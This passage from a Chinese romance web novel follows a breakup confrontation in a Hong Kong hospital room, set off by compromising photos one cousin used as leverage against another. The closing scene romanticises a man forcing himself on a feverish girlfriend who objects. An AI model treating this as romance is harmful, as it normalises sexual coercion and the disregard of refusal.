门外的小初本来还听得云里雾里的,可房间里传出来的【方太初】三个字实在惊悚,在此刻,简直无异于漫天箭矢,刺中的都是她最柔软最不设防的地方。 信念感崩塌的那一瞬,她好像听到了胸腔里一声很清晰的碎裂声。 世界变成了一片空白。 还在发烧的她身体开始剧烈颤抖,以前她就听说过,真正冻死的人临死前浑身都是热的,就像她现在,心脏冷,四肢冷,可周身的皮肤却在燃烧,散发着一种诡异的、不健康的红。 “你放心。”余珺彦忽然俯身,深邃的灰蓝色眸子看向余萧弋,几乎要将他看穿,“不管你相不相信,但我必须说,我其实并没有真的想过伤害她。就算你不做,这些照片也不会流传到外面去,只是我没想到你比我想象得更疯狂,更孤注一掷,也更聪明。” 余萧弋面无表情,“少说废话,我累了,你走吧。” 余珺彦却不为所动,仍自顾自说着,“所以,那天的车祸是你故意激怒他的吧?没有人比我更了解我爸,他虽然做事为达目的不择手段,人却不蠢,更懂得蛰伏,无论出于哪一点,他都没有理由在这个节点动你,哪怕他的确恨不得生撕了你。” 余萧弋这才轻笑出声,“我这一身脏,还不都是哥你的杰作吗?那些内幕消息都是你放出去的吧?除了你这位华尔街出身的高材生,我想不出还有谁有你那样专业的水准。还有杨小姐和芮顶流的香艳绯闻,哥,你还真挺让我佩服的,我采访一下,你后来看到那些不堪入目的照片时候,心里真的一点涟漪都没吗?那毕竟是你未婚妻。” “提醒你一句,我跟她从来没有订过婚。”余珺彦伸手,轻撩了一下余萧弋的头发,让那个狼狈的纱布彻底露出来,“疼吗?” 他的声音似是染着无尽的关心,“这个麦浚骢,果然冠军水准,车都成那样了,人竟然一点事没有,Theo,你何必对自己这么狠,你难道就没想过万一你真出现什么意外,就再也见不到方太初了?这样你的保护又有什么意义呢?” 余萧弋嫌弃地偏了偏头,“那不是正遂了哥你的愿,我一死,至少十年,在弟弟妹妹们成长起来之前,余家都是你的了。” 余珺彦挑挑眉,眼神里都是欣赏,“你也别把自己说得那么无辜,陈九洲是你的人吧?让他来投诚,让我误以为你已经将反对孚邦收购案的报告提交给了整个董事会,也是你计划的一部分吧?” 余萧弋极尽嘲讽:“哥,你太高估我了。我只是凭本心做事,没你想得那么高深。要论算人心,我怎么是哥你的对手?只是,你不觉得把女人的同情心也算进来这件事很低级吗?” “低级?”余珺彦轻笑,眸色倏地变得猩红,声音也一寸低哑下来,右手拇指和食指扼在余萧弋的下巴上,“你是不是忘了,当初你和方太初的绯闻是谁授意媒体发出来的?” 余萧弋的眸色倏然转深,“那不也是哥你的杰作吗?” 他在说什么?! 门外的小初心脏骤然被一阵无形的冷风穿过,恐惧袭来,她赶紧用手死死捂住了自己的嘴巴,生怕自己会控制不住尖叫出声。 太可怕了,他们这帮姓余的。 她爸妈的担心果然不是凭空想象的! 余珺彦加重手指的力量,表情也因此有些扭曲,“我只是个经手人,而你爸,那个不厌其烦扮了几十年富贵闲人的整个余家最腹黑的男人,才是这件事的最终决策者。什么真爱,你在我面前装什么高级,咱们这样的家庭,哪怕只是想一想,都是对这两个字的侮辱。” 他笑,像个地狱来的修罗,“Theo余,你敢说方太初若是不姓方,你还会对她如此呵护备至吗?凭你父母对方家的了解,想必你在准备追她之前就已经知道她是谁了吧?那个傻瓜,还一次次在我面前强调你和我有什么本质上的不同呢,真是可笑。” 小初再也承受不住,不自觉向后退后了两步,脑子里只剩下一个念头,那就是立刻,并永远逃离这里,再也不要听见这个余字。 “方小姐?” 被她不小心撞到的护士小姐一脸疑惑,“你不是来看余先生的吗,怎么不进去?” 对方很贴心,甚至还帮她敲了敲门,然后也没等里面回答,就径直推门走了进去,“该换药了哦。” 余萧弋和余珺彦似是完全没想到她会出现在这里,两个人看向她的目光都是近乎惊恐的。 小初也没比他们好到哪里去。 惊恐。 她这一生从没以这样的目光看过一个人,尤其,一个她爱的人。 就在几个小时之前,她还想着就算把自己的一切都给他也在所不惜呢。 可现在,全变了。 她还真是个傻子。 95.第 95 章 护士小姐换药的时间只有几分钟,可对三个人而言,却漫长得像一个世纪。 在这一个世纪里,这两个姓余的男人,已经在小初的意识里死了几亿次。 皮肤仍在燃烧,但很奇怪,她竟然不感到难受了,尽管不知道接下来会发生什么,但她很确定,而且她相信对面的感受也和她一样,他们所处的时空正在坍塌,且很快就要坍塌成宇宙中一个奇点,将一切都撕碎、吞噬,再也无法恢复原状。 她也是这会儿才注意到,余萧弋身上根本不止额角上的一处伤口,萧文然所说的轻微挫伤几乎遍布意外发生时人本能保护要害的所有地方,以手臂和左侧颈部最为严重。 倒是没有什么太大的开放型伤口,但他天生皮肤白,就导致即便是细碎的伤口和浅浅的淤青看着也格外触目惊心。 小初在心里不停默念着,“不要心疼,不要心疼。” 念了一万遍,却终究没有敌过他看过来时充满悲伤和绝望的眼神。 她恨自己视力太好,哪怕隔了一两米,还是看清了他琥珀色瞳仁中自己的倒影,穿着件完全不适合二十度的香港的白色毛衣,头发乱得像退潮后被留在海滩上的水草,完全塌成了一片。 两只狼狈的小狗。 这个形容词在脑海里闪现得很突兀,却又那么恰如其分,小初为自己傲慢又浅薄的二十岁默哀了三分钟。 到最后也说不清是哪里疼,但锥心刺骨的滋味却如海啸,席卷着她,将她抛上去又丢下来,毫不留情。 她还是哭了。 一边和他对视,一边慢慢红了眼眶。 她自觉自己已经很克制,但眼泪还是不停顺着脸颊滑下来,落到锁骨,再被那件厚厚的毛衣无声无息地吸收。 这一刻,房间里明明还有另外的人,却又很神奇地似乎只剩下了他们两个,她很不争气地想起了绮丽那间带全景落地窗的浴室。 那一夜,世界曾一次次在他们的亲密相拥中消失又诞生。 那么刻骨铭心。 以后怎么办? 她不知道。 大概,她的心脏将永远因为这段回忆留下一道伤口吧,包裹着两人之间种种蜜糖般的过往,然后慢慢愈合。 以后每个多雨的夏天来临,蜜糖就会渗出来,让她想起香港这段潮湿黏腻的岁月,吸引嗜甜如命的蚂蚁,将她扯进痛不欲生的深渊。 直至她麻木。 这个破初恋,是奔着要她的命来的吧。 她无声骂了句。 护士小姐小心地将旧纱布取下来,换药,再在原处缠上新的纱布,又温柔嘱咐他了几句,就利落转了身。 看见满脸泪痕的小初,她先是愣了愣,而后又意味深长地翘了翘嘴角,轻声安慰道:“唔使担心啦方小姐,再观察最后一晚,余先生就可以出院啦,这些小伤口很快就会痊愈的,也不会留疤,我以我的职业生涯跟你保证。你这样哭,别说他,我的心都要碎了。” 小初微微朝她颔了颔首,没说话。 “你们不要聊太久,让他早点休息。” 护士小姐很快退了出去,并贴心帮他们掩好了门。 她一走,余萧弋就瞬移般来到了小初面前,整个人看着马上就要碎掉了,“Babe,你怎么回来了?今天下午不是还在北京吗?” 他试图用衣袖帮小初擦掉眼泪,却被她轻轻一个侧身躲了过去,他僵了僵,又马上解释,“我不是故意瞒着你的,只是你刚刚也听见了,我实在没什么大事,又想着反正你过两天就回来了……” 小初退后一步,自顾自用毛衣袖子抹了把脸,嘲讽道,“余萧弋,你跟我玩什么文字游戏。” 余萧弋抿抿唇,手指无意识摩挲着衣袖边缘,节奏很乱,“我没有。” “你都这样了,阿骢还好吗?” “他还好,前天简单包扎一下就回家了。” “那你为什么要住院?” 余萧弋没说话。 “今天下午一开始为什么没接电话?” 余萧弋说:“我在做MRI检查,里面不让带手机。” 小初冷笑,然后也不再看他,而是直接转向旁边始终沉默的余珺彦,“所以,U盘里到底什么东西是我方太初不能看的。是他余萧弋背叛我的证据吗?你又拿这个东西跟他做了什么交易?把他逼成这样?” 空气明显陷入了一阵怪异的寂静。 两个姓余的男人都像被她这句话扼住了呼吸,眼睛蓦地瞪大。 仿佛荒谬的那个人是她。 余珺彦轻咳一声,眼神有点闪躲,先开了口,“方小姐奔波这一路也累了吧?不然你今晚先好好休息,有什么话我们明天再说。” 小初倒有些意外,“你们俩不是向来不对付吗?这会儿又替他遮掩什么?” 余萧弋这才插话进来,“Babe,事情不是你想的那样。” “那是什么样?”小初伸出手,“U盘给我,我倒要看看里面是什么,能让你命都不要了。” 余萧弋不动。 余珺彦同样沉默如雕塑。 小初终于不耐烦,亲自上前去翻余萧弋的衣服口袋,她刚刚亲眼看见的,他就把它放在那了。 余萧弋没想到她会如此,一只手紧紧抓住那片布料的同时还不忘来抱她,试图把她箍进怀里用自己全部的柔软来迎接她浑身的刺。 小初知道自己没他力气大,索性也没坚持,在他伸手朝她肩膀揽过来那一刻就向后躲开,“OK啊,你不肯给我看算了,我也没资格非得窥探你的隐私,有些东西不揭开也挺好的。”她笑笑,每动一下都引起一阵难忍的耳鸣,“我们分……” “不要。”余萧弋的手还僵在半空中,却仍不忘来捂她的嘴,“别说出来Babe,别,不好的话会应验的。” 小初蹙起眉,“你敢碰到我!” 余萧弋立刻被烫了似的从她皮肤上移开,虽然肌肤相触那一秒确实感觉她是烫的,他整个人都溃败下来,再次解释,“事情不是你想得那样,我发誓。” “你发誓?”小初冷笑,“你以为我还会信任你吗?” 她说了,她从来就不觉得什么碎掉的东西是可以恢复原状的。 “你们慢慢聊,我就先走了,余萧弋。”她郑重叫他的名字,“再见。” 洒脱一点,方太初。 她在心里对自己说,这很正常,结了婚的夫妻都能离婚,只是相处几个月的情侣凭什么不能分手,这世上每分每秒都有人在死去,而她只是结束一段不再适合她的恋爱而已,这已经算是幸运好不好。 爱上一个不合适的人本来就应该及时止损。 她会好起来的,没有人因为小感冒死去,失恋也不过是一次精神感冒而已,自限性疾病,不会拖太久的。 从明天开始,她好好吃饭,锻炼身体,让自己抵抗力强一点,就不会这么脆弱了。 “不要!”余萧弋终于承受不住,上前来从背后抱住她,恨不得将她整个都嵌入他身体里,“别说再见,我知道的,出了这个门你就不会再给机会让我和你说一句话了。” 他的体温无孔不入,顺着后背一点点渗透进来,小初绝望地挣扎了一下,但没成功。 “你别让我看不起你。”她的声音逐渐低下来,“最重要,你别让我看不起我自己,你应该明白的,我从来都不是那种象征性掉掉眼泪,再可爱地龇龇牙,假装自己在反抗,实际每个动作都在取悦男人的宠物型女友。我的保镖就在外面,想必就算你受伤之前,也打不过一个全国武术冠军吧?” “我知道。” “你想展示你的掌控欲,就去找个下位者,这世上想取悦你,并且有办法取悦你的漂亮女孩子,多的是。” “没有了。”余萧弋将自己埋在她的肩上,嗅着她头发里的香,“除了你,没人能再让我快乐了。” 他的眼泪一滴滴落在后颈的皮肤上,烫得小初心脏一直在收缩。 怎么办,她好贪恋这个怀抱。她开始无尽地厌弃自己,即便这样了,即便他在她心里的印象已经变成了一团糟,她还是爱他。 不是说好了要爱一个本来就很好的人吗,怎么他的光风霁月都消退了,她的爱还没有消失? “少说大话,你才几岁,不至于才谈一次恋爱就没能力爱别人了吧?如果是这样,U盘里的东西又是什么?”小初故意说道,“该不会是史密斯教授的数学课件吧?” “我说了,事情不是你想的那样。” “那是什么样!”小初不耐烦至极,整个人都要炸了,“我最讨厌优柔寡断的人,到底是什么!拿出来,我看了,事情怎么样我自己会判断,用不着你来引导!” “给她看。” 余珺彦的声音突兀在房间内响起。 带着一种近乎残忍的冷静。 小初再次抬眸过去。 两人视线对上瞬间,她就怔了怔。 他好像哪里不太一样了,虽然那种变化很细微,很隐蔽,但她还是敏锐地捕捉到了。 具体来说,就是他脸上熟悉的戏谑不见了,取而代之的是一种她从未见过的难以言说的自毁式的认真。 “余珺彦你闭嘴。”余萧弋眸色如刀,“从这里给我滚出去,立刻,马上。” “我都不怕,你怕什么?”余珺彦静静地看了他几秒,“再说你现在还有别的办法吗?她的性格你又不是不知道,向来宁为玉碎不为瓦全的。” “轮得到你评价她?” 余珺彦勾了勾唇,“反正她现在误会你了,这个误会不解除,你们俩就Game Over了,你要觉得你能承受,我当然无所谓。不过,我也不是看你,我是看她。” 他转向小初,“我说过,我会保护你的。” 小初脑子本来被他们俩吵得还有点懵,这句话一出,她头顶的天线瞬间像是接收到了电流,整个人都清醒过来,“你是不是有病啊余珺彦?” 余珺彦笑,下一秒就从口袋里拿出了手机,将两人同仇敌忾红着眼睛看着他的画面定格了下来,然后还不忘在故意他们面前停了片刻,“绝配。一会儿发你啊,Theo。” 小初和余萧弋同时眯了眯眸子。 他就是有病,这一刻的他们无比确定。 不过…… 拍照技术倒是还可以。 照片里的两人虽然都狼狈得有些过分,其中一位身上还都是损伤,但他们紧紧地抱在一起的样子,竟无端给人一种很美好又破碎的感觉,像两棵台风中枝叶相抵努力给对方支撑的树,纯爱得要命。 余萧弋甚至怔愣了半晌。 小初的目光在他双手交叉将她拥在怀里的姿势上顿了顿,下一秒,嘴角已冷冷翘起,那个被Local称为手指的U盘已从他失守的口袋落入了她的掌心。 等余萧弋反应过来的时候,她已经鱼一样从他怀抱挣脱并径直走向了书桌,而桌面上放着的,正是他的笔记本电脑。 医院的VIP套房就是好,设施齐全,做什么都很便利。 “方太初,不要。”余萧弋轻轻摇了摇头,眼神悲悯,“不要看。就当做什么都没发生,你累了,我打电话让曹旸进来接你回去。你好好洗个澡,然后睡一觉,第二天醒来就当什么都没发生过,好吗?我提前看了天气预报,接下来的两天天气都很好,香港不会下雪,而我会一直爱你。” 小初咬了咬唇,无意识地蹙起眉心。 但这种脆弱的感觉转瞬即逝,她现在浑身的神经都有一种回光返照的偏执与亢奋。 如果她是今年的黄亦玫,哪怕是年轻时候的黄亦玫,她都会马上停下动作,给彼此留好最后的体面,但她不是,她是二十岁的方太初,向来恩怨分明,就算爱错了,也要明明白白让自己知道她错在了哪里。 “给她看。”余珺彦双手插袋,唇线紧紧绷直,“她不能永远活在梦里,她得知道她身边是一个什么样真实的世界,尤其,她将来面对的是整个余家,以及余家错综复杂的关系网。” 余萧弋骂了句粤语脏话,身手敏捷地向前一步,在余珺彦反应过来之前,他已单手扯住了对方的衬衫领口,尽管右手手腕还缠着纱布,接下来的一拳还是用尽了他全部力气,“你他妈混蛋!” 余珺彦没有躲。 血顺着他嘴角流了下来,有些许血迹沾到了余萧弋的病号服上,看着触目惊心。 这一下一定很疼。 无论对于他们俩之中的谁。 小初死死咬着唇,没有出声禁止,手上的动作却没有停,她知道他的电脑密码。 是她的生日。 心里预想过一万种可能,甚至已经做好心理准备可能会看到余萧弋两腿之间那个桃心型的胎记,以及他修长有力的腿会以怎么样她熟悉的姿势压在另一具美丽的身体上。 她从来都没有怀疑,他身边会缺投怀送抱的女人。 但她怎么也没想到,随着她颤抖的指尖按动鼠标而在屏幕上跳出来的,会是她本人。 她揉了揉眼睛,整个人都被恐惧笼罩。 照片里的人是她没错,却又不完全是她,至少她绝不会以那样暧昧的动作依偎在余珺彦身边,更不会用含情脉脉的眼神看他哪怕一秒。 照片不是AI或者经过技术处理过的,这一点瞒不过她,是确确实实被高清相机捕捉和记录下来的,尽管很多明显都是拍摄者很刻意找的刁钻角度,但,都是真的。 照片里的氛围感也是真的。 尤其两人站在小公寓的凤凰木下,她扯着他的领带,和他额头相抵的那一张,若不是她作为女主角非常清楚当时的情况,也一定会误会他们之间有什么不可告人的牵扯。 更不要说后面还有他在她的小公寓里陪她一起度过的一天两夜,以及在那棵被台风摧折的黄槐树下,两人还一块打扫过一辆惨不忍睹的汽车。 太甜了。 完全的小情侣。 镜头语言有时候比文字更直白,也更残忍,完全不给人任何解释和辩驳的空间。 小初彻底呆住,半晌,都没从巨大的惊愕中缓过神来。 余萧弋走上前来,将她的头按向自己怀里,并刻意避开刚刚打过余珺彦的那只手,揉了揉她的头发。 片刻的沉默。 耳鸣在加剧,吵得她头疼。 余萧弋终于意识到不对劲来,问她,“你是不是在发烧?怎么这么烫?” 小初没答,或者说,她已经完全听不见他说什么了,她只是忽地一下起了身,径直走到了余珺彦面前。 余珺彦本能做出了一个防御的姿势,不是他想躲,是大脑强制给他下了保护自己的指令 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“你觉得全世界都对不起你是不是?”小初一直在哭,“可我从来都没有像全世界那样,对你有过任何偏见,我始终把你当成一个有血有肉也会疼的普通人,甚至于,我一度把你当成朋友。” 巨大的震惊袭来,余珺彦身形一晃,险些没有站稳,幸好有旁边的电脑桌给他支撑。 余萧弋也侧眸,目光悲伤地落在她脸上。 从一开始,他就知道她看见这个东西会是这个反应。 可他阻止不了。 尽管他觉得自己已经做得足够多了,还是阻止不了命运的齿轮滚滚向前。 “可现在。”小初用袖子用力抹了下眼睛,“我对你的友情要重新开始计算了,我对你的人格也要重新开始计算了,虽然我知道你并不在乎。你可以不在乎我,我接受,因为人与人之间的感情本来就不是对等的,无论是哪一种感情。但是你为什么要这么对他?” 小初用颤抖的手指指了指余萧弋,“他是你的亲人,他差点因为你而死!当然,我也有不可推卸的责任!我就不该……” 然后她也不知道哪里来的力气,突然向前一步,疯了一样扯开他衬衫的袖扣,让那个在酒吧因她而受伤,但现在已经愈合的伤口暴露在空气中,“我就不该对你产生同情心!现在算起来,那天的偶遇也是你精心设计的吧?你是怎么知道那天我会出现在那里的!你这个卑劣的……” 话还没说完,她就感到一阵眩晕,整个人摇摇欲坠。 余萧弋赶紧揽住她的肩膀,完全没想到她的话题最终还是落到他身上,心底巨浪翻滚,也说不清是什么滋味了,“Babe别说了,等后面我再慢慢给你解释。” 小初勉强站稳,瞪他一眼:“你着什么急,还怕我骂完他轮不到你?你以为你就是什么好东西吗!你们根本一丘之貉!” “……” 余萧弋和余珺彦的目光不小心对上,然后又都默契地别开,两人谁也没敢吭声。 小初继续转向余珺彦:“所以你说啊,到底拿这个东西威胁他帮你做了什么?” 余珺彦叹口气,也不打算隐瞒了,“我意不在他,甚至也不在你。方太初,我说过的,我不会伤害你的,这个东西我保证,除了我们三个,不会再有任何其他人看到。” 他说这个小初更气,“我呸!你跟我立什么人设?知道我最烦什么人吗?就是你这种,好又好得不甘心,坏又坏得不彻底的,你要做就做好了,就像对杨敏之那样,反正看起来把传媒和舆论玩弄于股掌之中这件事,对你们余家而言也没什么难的。但你觉得我方太初会在乎吗?” “你们余家”四个字,让余萧弋抿了抿唇。 她骂得太厉害,不得不缓口气中间休息一下。 余珺彦的脸却青一阵白一阵,只有听着的份儿了。 很奇怪,她完全不像他身边的人那样,一天恨不得翻一百个白眼张口闭口就是“你痴线啊”,甚至于她都没用半个脏字,但出口的每个字却又都像刀,刀刀都扎在他的尊严上。 小初继续,“到时候外人只会笑你们余家教养差,只是见着个稍微漂亮点的女孩子,两兄弟就变成了没有被文明驯化的原始人。至于我,我很快就会回到北京,过我本来就精彩的生活。你也别藏着掖着啊,拍都拍了,不给羡如姐也发一份过去吗?明明是四个人的电影,凭什么她可以没姓名?你还张口闭口你女儿,你这样的配生女儿吗?” 余珺彦咬唇看了她一眼,没说话。 小初像一条失去氧气的鱼,感觉自己随时要窒息。 余萧弋却想起了她那个以土卫六Titan自称的英文名,大气成分主要是氮气和甲烷,星球表流动着的是液态甲烷海,点燃后,果然会爆炸。 “所以你意在谁?” 余珺彦低声:“我爸。” 小初轻笑:“弑父可不是东方文化。” 余珺彦点头,“是,东方只有杀子,所以我只能忍着吗?” 小初愣住。 余萧弋也目光深邃地抬头看了看他。 “所以,我没办法。很多事只有我坐到那个位置上去,才能完全按照我的想法执行。余巍巍做的错事太多,余家不能继续被他拖累下去。” 小初冷笑,“少冠冕堂皇。爷爷还没老糊涂呢,你要是真有什么建设性的意见,直接跟他提难道还怕他听不进去吗?他一个人的脑容量,恐怕是你们加起来的总和!” 余珺彦说:“那你是不知道他有多护短!余巍巍那天带着私生子上门后,他已经开始四处活动打算尽全力保住他了!” “人家是父子!”小初忍无可忍,“就为这个你就要逼死Theo吗?” “他受伤可不关我事!谁想到他会这么疯?竟然会主动去挑衅余巍巍?” 小初倏地转过头去,看向那张余萧弋极具绅士品格的脸,试图在那上面找到她最熟悉的克制与矜持。 只是今天,那上面什么都没有,只有破碎和悲伤。 “你走吧余珺彦。”余萧弋的目光极为沉静,“我不管你是什么目的,我们的交易结束了。我受伤的确与你无关,这是我为保护我爱的人自愿付出的代价。你可以静等了,很快,曾利用职务之便给二叔提供过利益输送的前ZW司司长章永琏就会进入廉政公署的调查程序了。” 余珺彦微不可察地挑了挑眉,“看来只有你,才能真正让大伯失去理智,公然站出来挑战爷爷的权威了。” “废话。”余萧弋送了他一个白眼,“我们是父子。” “那你比我幸运。” 余珺彦整理了一下被小初弄乱的衣袖,漫不经心地朝她点了点头:“我走了,现在,可以轮到你骂他了。” 小初咬了咬牙,眸底都是熊熊燃烧的不知名野火,“快滚吧。” “方太初,无论你接不接受,我还是要跟你说一声对不起。谢谢你曾经把我当朋友。” 余珺彦郑重说完这句话,就大踏步出了病房门。 小初看着他背影怔整了几秒。 直至余萧弋来拉她的手:“Babe我……” “余萧弋。”小初的声音在空旷的房间内艰涩而低哑。 但每个字都无比清晰。 “我们分手吧。” 96.第 96 章 他们所处的时空终于坍塌成了宇宙中一个奇点,一时间,所有关于生存还是毁灭的概念都消失了,只剩空白。 医院特有的消毒水味很难闻,但比这个还让小初感到压抑的,是余萧弋此刻沉默的目光。 让她没来由想起热带风暴生成前的海面,平静之下,是令人无法承受的暗潮汹涌。 半晌,他才轻轻开口,语气里都是自嘲,“现在吗?” 皮肤燃烧的感觉再次袭来,心脏像是被什么东西不停刺中,随着脉搏的跳动,痛楚和灼热交织在一起,小初被裹挟其中,连呼吸都变得混乱。 “说话。”余萧弋向前一步,忽然伸手,抚了抚她的右脸,“你在发烧,方太初,你自己知道吗?” 小初偏了偏头,努力克制住脑子里那股令人不适的眩晕感,“是,从中午就开始了。所以我们长话短说吧余萧弋,时间不早了,说完我要回去休息了。” “药吃了吗?” “嗯。”小初不知道都这会儿了他为什么还要跟她进行这种无意义的对话,“你又不是没见过我生病的样子,感冒发烧一天两天也正常,不是什么大事。” “胡说,感冒也有很多类型,最近流感很严重,我叫护士进来带你去做个检查。” 小初谢绝,“多谢你,但不需要,医生已经测过,只是普通感冒。” 余萧弋勾起一个严肃的表情,“你是觉得我很好骗吗?一整个下午你都在路上奔波,哪来的时间去医院?” “骗你对我有什么好处?我爸请了个医生陪我过来,她人就在外面的车子上。” 余萧弋思考了一下,瞳仁颜色逐渐转深,“你是带着医生飞回来的,什么事这么紧迫,让你非回来不可?” 小初递给他一个含义复杂的眼神,没答。 “是为了我吗?” “少自恋。” 余萧弋不动声色向前一步,“你是怎么知道我受伤的消息的?” 小初咬唇向后退了一步,仍旧没答。 眼下这个情况,要是说出铭仔的名字,她恐怕他们俩要决裂。 他深深看向她,“是余珺彦?你们私下联系这么密切吗?” “不是!”小初的目光如利刃,直直刺向他,“你不要凭空猜测好吗?” 余萧弋深吸一口气,反问,“就只能你凭空猜测我吗?” 小初气结,“我什么时候……” “就刚刚。”余萧弋的脸上的笑容看着甚至有些残酷,“你怀疑U盘里是背叛你的证据的时候。” “……”小初的思维慢了半拍,终于跟上了他的节奏。有那么一瞬,她甚至有些无措。 这个可怕又可恶的男人,就这么简单几句话,竟然就将她的心事步步为营地勾了出来。 早知道,她就等病稍微好一点再提分手了,至少吵架的时候不会被人家这么牵着鼻子走。 她不想陷入自证,所以直接切入主题,“我现在要跟你谈的是分手的事,你别跟我扯东扯西。” “好啊。”他轻轻挑了挑眉,“那你现在清醒吗?” “不耽误和你把话说清楚。” “这一点我无比相信。”余萧弋的指腹无意识地摩挲着病号服的袖口边缘,“毕竟刚刚连余珺彦都被你说得哑口无言。” 小初不知道他是在讽刺她还是怎样,但她已不想花心思去猜,只想尽快把一切结束,“现在轮到你了。” “所以在你心里我和他没区别。” 小初呼吸一滞,“你不要再试图掌控我的情绪余萧弋,我们就事论事好吗?” “就事论事?你刚刚对着他,表现得可没有现在这么平静。”余萧弋俯下身来,终于与她呼吸相接,“怎么,对着我突然就没兴致了,是吗?” 小初被他眼神里的侵略性吓到,不由自主又退后两步,可再往后,就是他的病床了。 她倏忽停住。 “你心里对余珺彦期望很高是不是?所以被他背叛才会这么难过?甚至比想象中我背叛了你还难过,是吗?” 余萧弋步步紧逼,直至她的腿贴到病床的边缘,“他到底哪里特别?嗯?你告诉我,只要能让你喜欢到如此深刻,我可以学。” 他,知不知道……他在说什么? “你有病啊余萧弋?”小初被他气得胸腔鼓荡,“我什么时候喜欢他了!” 余萧弋不管她,仍自顾自说着,“你问他疼不疼的时候用的是什么语气和表情?能让他到现在都这么念念不忘?” “余萧弋,你是不是疯了?”他的脸越来越近,再多一寸,两人就要无可避免亲上了,小初推了他一下,然后就看见他很痛苦地蹙了蹙眉。 他轻笑,“自己女朋友对别的男人这么依赖和信任,我不该疯吗?” 小初不搭理他的无理取闹,只是问道,“怎样?你胸骨也受伤了?” “现在知道关心我了?”他的目光凝在她有些干裂的唇瓣上,“那怎么到现在也不问一句,我疼不疼?他只是挨了他爸一巴掌,我可是差点死在这场事故里,你就一点不心疼吗?” 他竟然还敢跟她提这个! 小初的理智终于被侵蚀殆尽,“那也是你自找的!谁让你这么做的!口口声声说爱我,结果背着我都做了什么?一个连自己生命都不珍惜的人,有资格说什么爱不爱!你有没有想过,万一……你要我怎么办?” 眼泪顺着脸颊再次滚下来,连她自己都没意识到自己带着哭腔,“既然如此,索性到此为止吧,我不想从此以后心脏都被人牵着根线,只要你轻轻一扯,我就要跟着疼!你问我有没有一点心疼你,那你呢,行事之前有没有考虑哪怕一点我?” 余萧弋愣住,感觉自己心口像是被人灌了一杯柠檬汁下去,酸涩充斥着整个感官,却又有一丝说不出的甜,“这么在乎吗,方太初。” “不用那么感动。”小初微微抬了抬下巴,故意说道,“你是我男朋友的时候,我当然事事把你放在第一位,但从此刻开始不是了,以后你死活都跟我没关系,也不用特别通知。” “这件事你一个人说了不算。”余萧弋的吻压下去,“我不同意。” 小初万没想到都这个时候了他还能有这个心思,不禁气急,抬手就朝他打过去,不想却被他预判似的直接扼住了手腕,下一秒,两人就因重心不稳同时跌进了床上的被子里。 “怎么,刚刚对余珺彦一万个舍不得,轮到我了,下手就变得这么重?” “余萧弋,你再这样我就喊曹旸了!”小初被他压在身下动弹不得,眸子里的火几乎要将他焚了,“你现在怎么变成这样了?” 余萧弋再次吻下来,“你喊,反正你出了这个门我也活不了了,索性就直接死在你面前好了。” 小初不可思议地瞪大了眼,只觉得自己整个都被他的身形笼罩在了阴影里,他的吻前所未有的凶,一上来就粗暴又残忍地将她缠住,像是要把她吞吃进腹中一样。 她被他吻得快要窒息,本来就昏昏沉沉的脑子已经完全没办法思考,身体和精神的双重崩溃在这一刻都到了极致,眼泪怎么都止不住了。 哭了一会儿,她才发现,他也没比她好到哪里去,眼睛红得吓人,眼泪和她的混在一起,最后也分不清谁是谁的了,落在味蕾上又苦又涩。 完全与情欲无关的一个吻,倒像是两个受伤的动物在互相舔吻对方的伤口。 “别亲了余萧弋,这样解决不了问题。” 小初用最后一丝力气扯过被子挡住了自己的半张脸,认真看着他,“我太难受了,从中午到现在一颗心一直悬着,这会儿好像有点撑不住了。” “好。”余萧弋心疼地将她皱巴巴的眉心展开,“我们不说了好不好?等你好起来,我再慢慢跟你解释。今天晚上就睡这吧,你这样回去我不放心。” 小初摇头,“我刚刚的话是认真的,你好好考虑一下,我不想再继续了。” 余萧弋怔了怔,再次红了眼睛,“你就是打定主意不要我了是吧?” “不是不要你,是我们不合适。” “哪里不合适,我可以改。” 小初残忍出声,“你姓余,这件事怎么改?” “说来说去就还是余珺彦这件事,可你也总要为我想想,我能怎么办?嗯?你可以不在乎那些照片被曝光,我能不在乎吗?别说曝光,哪怕是被余家内部的任何一个人看见,我和你这辈子就都没可能了。方太初,你不在乎是因为你还有很多选择,可我没有了,我只有你了,我没有退路了,你懂吗?” 余萧弋手肘撑在被子上,人却始终覆在她上方,似乎在偏执地把自己化成牢笼,想将她永远锁在其中。 小初听出不对劲来,“我有什么退路?” “很多,比如那天照片里满屏令你无法抗拒的……窄版领带。我突然发现梁培风竟然还不是里面长得最好看的,那个身体偏向你的男人,就是你一直以来最喜欢那个类型吧?连职业都那么贴近你的理想,不像我,一个余字就是原罪,做什么都是错。” “你是不是有病?”小初被他气得呼吸不稳,“到现在还不正视自己的问题,还在这跟我混淆是非,我简直……”她深深吸了一口气,“简直脑子坏掉了当初才会答应和你交往。” 余萧弋嘴角勾起一个冰冷的弧度,“方太初,做人何必这么虚伪,承认你本来就不爱我有这么难吗?否则你怎么会每次一遇到一点挫折就毫不留情地想分手?你根本就没想过要和我长久吧,你自己算算,这是你第几次放弃我们的感情了?嗯?就算是你养的一条狗,这么久也应该对我有点感情了吧?” “我哪养得起你余少这么贵的狗!”小初被气红了眼,用力挣扎了一下,“你给我放开,我要回家了。” “养不起……”他近乎报复地俯下身来覆到她耳边,“我每次给你做裙下臣的时候你不也没喊停吗?现在玩够了就想甩了我是吧,你做梦。” 小初不敢相信自己听到了什么,脑子里一阵白光,脱口骂道,“余萧弋你混蛋!” “反正我在你心里也不是什么好人了,那就混蛋一次好了。” 下一秒,小初就感受到他缠满纱布的手探进了她毛衣的衣摆,那个粗糙的触感引起她皮肤一阵颤栗,人瞬时清醒。 “你疯了吗?这里是医院!”她近乎仇恨地看着他。 他淡笑,“那又怎么样,你在这,谁敢直接闯进来?你懂不懂什么叫VIP病房?” “我喊曹旸了!” “别跟我提什么曹旸!她是你的挡箭牌吗?余珺彦台风前的那一夜是怎么跟你回的家?这个时候曹旸怎么不站出来制止了?所以你爸把她派过来就是只盯着我一个人的,是吧?我到底哪里不够好!就那么让他讨厌!” 小初被他粗暴的动作弄得有点疼,可两只手都被他死死压住,只能任他予取予求了。 “你怎么知道是台风前的那一夜?”小初眯了眯眸子,仔细回忆了一下,照片上绝对没有显示日期,更何况他刚刚根本就没有接近他的笔记本电脑。 “接你考试的那天早晨,他的车不就停在你楼下吗?你以为全港认识他余大少爷车牌的人,只我一个吗?” 余萧弋的手绕到她背后,很轻易就解开了那个钩扣,他现在已经什么都顾不得了,虽然他也不知道自己想做什么又能做什么,但认识这么久,他却没有一刻像现在这样,如此迫不及待想让她每一寸都印上自己的专属印记,再也不会被轻易抹去。 